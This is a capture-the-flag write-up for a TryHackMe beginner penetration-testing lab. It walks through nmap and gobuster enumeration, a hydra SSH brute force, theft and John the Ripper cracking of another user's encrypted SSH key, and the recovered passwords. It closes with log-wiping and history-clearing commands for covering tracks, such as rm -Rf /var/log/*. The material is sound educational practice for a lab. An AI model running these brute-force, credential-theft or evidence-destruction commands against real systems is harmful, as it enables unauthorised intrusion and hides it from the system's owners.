URL: https://tryhackme.com/room/basicpentestingjt [Easy]
Tags:
Description of the room:
In these set of tasks you’ll learn the following:
- brute forcing
- hash cracking
- service enumeration
- Linux Enumeration
The main goal here is to learn as much as possible. Make sure you are connected to our network using your OpenVPN configuration file.
Credits to Josiah Pierce from Vulnhub.
nmap
Ran the following:
nmap -sC -sV xxx.xxx.xxx.xxx
Which produced the following output:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-17 23:17 EST
Nmap scan report for 10.10.183.192
Host is up (0.28s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8009/tcp open ajp13
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 24.35 seconds
Also see: nmap.log
Since Samba is running, we can run:
/usr/share/enum4linux/enum4linux.pl -a xxx.xxx.xxx.xxx
This resulted in the following log (truncated for space, key portions kept or full log):
=======================================================================
| Users on 10.10.145.91 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
From this, we know we have at least two users: jan
, and kay
.
To attempt to find subfolders on the web server, GoBuster was used via:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://xxx.xxx.xxx.xxx/
This is what allowed us to find the /development
folder:
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.183.192/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/01/17 23:22:47 Starting gobuster in directory enumeration mode
===============================================================
/development (Status: 301) [Size: 320] [--> http://10.10.183.192/development/]
Also see: gobuster.log
jan
SSH passwordUsing hydra, we try RockYou passwords over SSH with:
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://xxx.xxx.xxx.xxx
Which resulted in:
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-17 23:30:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.183.192:22/
[STATUS] 170.00 tries/min, 170 tries in 00:01h, 14344231 to do in 1406:18h, 16 active
[STATUS] 112.67 tries/min, 338 tries in 00:03h, 14344063 to do in 2121:55h, 16 active
[STATUS] 109.29 tries/min, 765 tries in 00:07h, 14343636 to do in 2187:29h, 16 active
[22][ssh] host: 10.10.183.192 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-17 23:37:48
This is where we discovered the password: armando
for user jan
.
Also see: hydra.log
jan
to kay
.In the process of running Linpeas, we found that user jan
had privilege to read user kay
’s SSH private key. So, the key was retrieved via:
cat /home/kay/.ssh/id_rsa
When attempting to log into the server as Kay via:
ssh kay@xxx.xxx.xxx.xxx -i ./kay_id_rsa
We are confronted with a password prompt. The SSH key is password protected.
We can take that private key:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqyklKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVVYh6FkLgtOfaly0bMqGIrM+eWVoXOrZPBlv8iyNTDdDE
3jRjqbOGlPs01hAWKIRxUPaEr18lcZ+OlY00Vw2oNL2xKUgtQpV2jwH04yGdXbfJ
LYWlXxnJJpVMhKC6a75pe4ZVxfmMt0QcK4oKO1aRGMqLFNwaPxJYV6HauUoVExN7
bUpo+eLYVs5mo5tbpWDhi0NRfnGP1t6bn7Tvb77ACayGzHdLpIAqZmv/0hwRTnrb
RVhY1CUf7xGNmbmzYHzNEwMppE2i8mFSaVFCJEC3cDgn5TvQUXfh6CJJRVrhdxVy
VqVjsot+CzF7mbWm5nFsTPPlOnndC6JmrUEUjeIbLzBcW6bX5s+b95eFeceWMmVe
B0WhqnPtDtVtg3sFdjxp0hgGXqK4bAMBnM4chFcK7RpvCRjsKyWYVEDJMYvc87Z0
ysvOpVn9WnFOUdON+U4pYP6PmNU4Zd2QekNIWYEXZIZMyypuGCFdA0SARf6/kKwG
oHOACCK3ihAQKKbO+SflgXBaHXb6k0ocMQAWIOxYJunPKN8bzzlQLJs1JrZXibhl
VaPeV7X25NaUyu5u4bgtFhb/f8aBKbel4XlWR+4HxbotpJx6RVByEPZ/kViOq3S1
GpwHSRZon320xA4hOPkcG66JDyHlS6B328uViI6Da6frYiOnA4TEjJTPO5RpcSEK
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nZjVPpeh+8DBoucB5bfXsiSkNxNYsCED4lspxUE4uMS3yXBpZ/44SyY8KEzrAzaI
fn2nnjwQ1U2FaJwNtMN5OIshONDEABf9Ilaq46LSGpMRahNNXwzozh+/LGFQmGjI
I/zN/2KspUeW/5mqWwvFiK8QU38m7M+mli5ZX76snfJE9suva3ehHP2AeN5hWDMw
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ev6cTcfzhBhyVqml1WqwDUZtROTwfl80jo8QDlq+HE0bvCB/o2FxQKYEtgfH4/UC
D5qrsHAK15DnhH4IXrIkPlA799CXrhWi7mF5Ji41F3O7iAEjwKh6Q/YjgPvgj8LG
OsCP/iugxt7u+91J7qov/RBTrO7GeyX5Lc/SW1j6T6sjKEga8m9fS10h4TErePkT
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3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----
We can put that into a format for “John the Ripper”, so that he can crack that password. We can do that by running the ssh2john.py
script from here:
ssh2john.py ./kay_id_rsa > ./kay_id_rsa.hash
Resulting in the following hash of the private key file, suitable for John The Ripper to extract the key:
./kay_rsa_id:$sshng$1$16$6ABA7DE35C{...snip...}edb337116fa6e5ed858
We then run John the Ripper against it, using a word list:
john --wordlist=/usr/shared/wordlists/rockyou.txt ./kay_id_rsa.hash
We ultimately determine the password for the SSH key is: beeswax
.
Once logged in as user kay
, we could read the pass.bak
file which had the final flag of: heresareallystrongpasswordthatfollowsthepasswordpolicy$$
.
This is a test machine. However, in a Red Team scenario, we could:
/root/.ssh/authorized_keys
operations
).This is a test machine. However, in a Red Team scenario, we could:
/var/log/
- although that might draw attention.
rm -Rf /var/log/*
find /var/log -name "*" -exec sed -i 's/10.10.2.14/127.0.0.1/g' {} \;
cat /dev/null > /root/.bash_history
cat /dev/null > /home/kathy/.bash_history
cat /dev/null > /home/sam/.bash_history
Below is a summary of key findings.
Name: | Value: |
---|---|
Users | jan , kay |
Password for jan |
armando |
Password for kay SSH key |
beeswax |
Final flag. | heresareallystrongpasswordthatfollowsthepasswordpolicy$$ |
Completed: 1/17/2022 @ 8:52p
by r0bsec
.